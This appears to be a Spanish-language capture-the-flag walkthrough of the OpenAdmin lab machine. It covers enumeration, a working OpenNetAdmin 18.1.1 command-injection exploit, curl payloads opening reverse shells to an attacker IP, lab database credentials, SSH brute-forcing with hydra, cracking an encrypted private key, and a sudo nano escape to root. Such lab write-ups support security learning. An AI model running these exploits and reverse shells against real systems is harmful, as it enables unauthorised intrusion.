Enumeración
Escaneo de puertos:
nmap -p- --open --min-rate 5000 -vvv -sS 10.10.10.171
Host is up, received user-set (0.29s latency).
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Detectamos versión y servicio de los puertos abiertos:
nmap -sC -sV -p22,80 10.10.10.171
Host is up (0.38s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
| 256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
|_ 256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Comenzamos realizando fuzzing de directorios y encontramos los siguientes:
gobuster dir -u http://10.10.10.171 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50
Nos ponemos a navegar cada uno. Nos damos cuenta que se está realizando Virtual Hosting, por lo que agregamos openadmin.htb. a nuestro /etc/hosts. Dentro de music, vemos un botón de login.
Nos redirige a /ona:
Si accedemos a DNS Domains vemos:
También nos muestra que estamos ante la versión 18.1.1 y nos aclara que no es la última. Si hacemos click Download vemos que estamos ante un OpenNetAdmin.
Si buscamos exploits para esa versión, vemos que existen:
Intrusión - Metasploit
Seleccionamos el módulo exploit/unix/webapp/opennetadmin_ping_cmd_injection y lo configuramos de la siguiente forma:
Lo corremos y obtenemos una Shell como www-data:
Intrusión - Manual
Vamos a usar el otro exploit que nos trae searchsploit. Es el siguiente:
# Exploit Title: OpenNetAdmin 18.1.1 - Remote Code Execution
# Date: 2019-11-19
# Exploit Author: mattpascoe
# Vendor Homepage: http://opennetadmin.com/
# Software Link: https://github.com/opennetadmin/ona
# Version: v18.1.1
# Tested on: Linux
# Exploit Title: OpenNetAdmin v18.1.1 RCE
# Date: 2019-11-19
# Exploit Author: mattpascoe
# Vendor Homepage: http://opennetadmin.com/
# Software Link: https://github.com/opennetadmin/ona
# Version: v18.1.1
# Tested on: Linux
#!/bin/bash
URL="${1}"
while true;do
echo -n "$ "; read cmd
curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed
-n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
done
Vamos a usar el curl tal cual se muestraá, modificando las variables url por http://10.10.10.171/ona/ y cmd por, por ejemplo, id o whoami:
curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";id;echo \"END\"&xajaxargs[]=ping" "http://10.10.10.171/ona" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
Vemos que estamos pudiendo ejecutar comandos:
Vamos a entablar una Reverse Shell ejecutando el comando bash -c 'bash -i >%26 /dev/tcp/10.10.14.9/1234 0>%261':
curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";bash -c 'bash -i >%26 /dev/tcp/10.10.14.9/1234 0>%261';echo \"END\"&xajaxargs[]=ping" "http://10.10.10.171/ona/" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
Nos ponemos a la escucha y obtenemos la Shell:
Hacemos un tratamiento de la TTY. Vemos que existen otros dos usuarios, jimmy y joanna:
Escalación de privilegios
www-data --> jimmy
Nos ponemos a navegar los directorios. Dentro de /opt/ona/www, vemos el archivo config.inc.php:
Dentro de este archivo, vemos las siguientes líneas:
Si leemos el archivo /opt/ona/www/local/config/database_settings.inc.php vemos lo siguiente:
Tenemos las credenciales para conectarse a la BD en texto claro.
'db_type' => 'mysqli',
'db_host' => 'localhost',
'db_login' => 'ona_sys',
'db_passwd' => 'n1nj4W4rri0R!',
'db_database' => 'ona_default',
Nos conectamos de la siguiente manera:
mysql -u ona_sys -D ona_default -p
Listamos la tabla users pero no vemos nada relevante pensando en tener acceso como alguno de los usuarios que tenemos identificados:
Hacemos un pequeño diccionario que contiene los usuarios jimmy y joanna, y validamos la password que conseguimos con hydra
hydra -L users.txt -p 'n1nj4W4rri0R!' 10.10.10.171 ssh
La contraseña corresponde al usuario jimmy, así que nos logueamos.
jimmy --> joanna
Para ayudarnos con la enumeración del sistema, vamos a utilizar LinEnum. Lo pasamos a la máquina víctima y lo ejecutamos. Como cosas interesantes, vemos que pertenece al grupo internal, y también vemos el puerto 52846 a la escucha localmente:
A los otros puertos los tenemos identificados, pero a este no. Si nos dirigimos a la ruta /etc/apache2/sites-enabled vemos los archivos openadmin.conf y internal.conf. El primero hace referencia al sitio que habíamos encontrado (escuchando en el puerto 80). El admin es jimmy:
El otro está escuchando en el puerto 52864 y el admin es joanna:
Vemos también que el DocumentRoot es la ruta /var/www/internal. Si nos dirigimos a esa ruta, vemos los siguientes archivos:
Abrimos el archivo index.php y encontramos un hash SHA512 asociado al usuario jimmy:
jimmy:00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1
Si abrimos el main.php vemos que como output tenemos el id_rsa de joanna*:
Por lo tanto, vamos a hacer un curl de la siguiente manera:
curl http://127.0.0.1:52846/main.php
Obtenemos la id_rsa:
<pre>-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D
kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8
ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO
ShNbbx8Euvr2agjbF+ytimDyWhoJXU+UpTD58L+SIsZzal9U8f+Txhgq9K2KQHBE
6xaubNKhDJKs/6YJVEHtYyFbYSbtYt4lsoAyM8w+pTPVa3LRWnGykVR5g79b7lsJ
ZnEPK07fJk8JCdb0wPnLNy9LsyNxXRfV3tX4MRcjOXYZnG2Gv8KEIeIXzNiD5/Du
y8byJ/3I3/EsqHphIHgD3UfvHy9naXc/nLUup7s0+WAZ4AUx/MJnJV2nN8o69JyI
9z7V9E4q/aKCh/xpJmYLj7AmdVd4DlO0ByVdy0SJkRXFaAiSVNQJY8hRHzSS7+k4
piC96HnJU+Z8+1XbvzR93Wd3klRMO7EesIQ5KKNNU8PpT+0lv/dEVEppvIDE/8h/
/U1cPvX9Aci0EUys3naB6pVW8i/IY9B6Dx6W4JnnSUFsyhR63WNusk9QgvkiTikH
40ZNca5xHPij8hvUR2v5jGM/8bvr/7QtJFRCmMkYp7FMUB0sQ1NLhCjTTVAFN/AZ
fnWkJ5u+To0qzuPBWGpZsoZx5AbA4Xi00pqqekeLAli95mKKPecjUgpm+wsx8epb
9FtpP4aNR8LYlpKSDiiYzNiXEMQiJ9MSk9na10B5FFPsjr+yYEfMylPgogDpES80
X1VZ+N7S8ZP+7djB22vQ+/pUQap3PdXEpg3v6S4bfXkYKvFkcocqs8IivdK1+UFg
S33lgrCM4/ZjXYP2bpuE5v6dPq+hZvnmKkzcmT1C7YwK1XEyBan8flvIey/ur/4F
FnonsEl16TZvolSt9RH/19B7wfUHXXCyp9sG8iJGklZvteiJDG45A4eHhz8hxSzh
Th5w5guPynFv610HJ6wcNVz2MyJsmTyi8WuVxZs8wxrH9kEzXYD/GtPmcviGCexa
RTKYbgVn4WkJQYncyC0R1Gv3O8bEigX4SYKqIitMDnixjM6xU0URbnT1+8VdQH7Z
uhJVn1fzdRKZhWWlT+d+oqIiSrvd6nWhttoJrjrAQ7YWGAm2MBdGA/MxlYJ9FNDr
1kxuSODQNGtGnWZPieLvDkwotqZKzdOg7fimGRWiRv6yXo5ps3EJFuSU1fSCv2q2
XGdfc8ObLC7s3KZwkYjG82tjMZU+P5PifJh6N0PqpxUCxDqAfY+RzcTcM/SLhS79
yPzCZH8uWIrjaNaZmDSPC/z+bWWJKuu4Y1GCXCqkWvwuaGmYeEnXDOxGupUchkrM
+4R21WQ+eSaULd2PDzLClmYrplnpmbD7C7/ee6KDTl7JMdV25DM9a16JYOneRtMt
qlNgzj0Na4ZNMyRAHEl1SF8a72umGO2xLWebDoYf5VSSSZYtCNJdwt3lF7I8+adt
z0glMMmjR2L5c2HdlTUt5MgiY8+qkHlsL6M91c4diJoEXVh+8YpblAoogOHHBlQe
K1I1cqiDbVE/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN
-----END RSA PRIVATE KEY-----
</pre><html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>
Vemos que está encriptada, por lo que necesitaremos obtener la contraseña. Nos guardamos esto en un archivo id_rsa en nuestra PC atacante y lo pasamos a un formato que John The Ripper entienda utilizando ssh2john:
Guardamos el output en un archivo hashes.txt y vamos a tratar de obtener la contraseña:
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
Nos conectamos:
ssh -i id_rsa joanna@10.10.10.171
Desde aquí vemos el primer flag:
joanna --> root
Como joanna, si ejecutamos sudo -l vemos que podemos ejecutar /bin/nano /opt/priv como root sin necesidad de especificar contraseña:
Apoyándonos en GTFOBins vemos que podemos ejecutarlo de la siguiente manera:
nano
Ctrl+R Ctrl+X
reset; sh 1>&0 2>&0
id
whoami
Estamos pudiendo ejecutar comandos como root:
Vamos a ejecutar lo siguiente para obtener una Reverse Shell:
bash -c 'bash -i >& /dev/tcp/10.10.14.9/443 0>&1'
Desde aquí vemos la siguiente flag: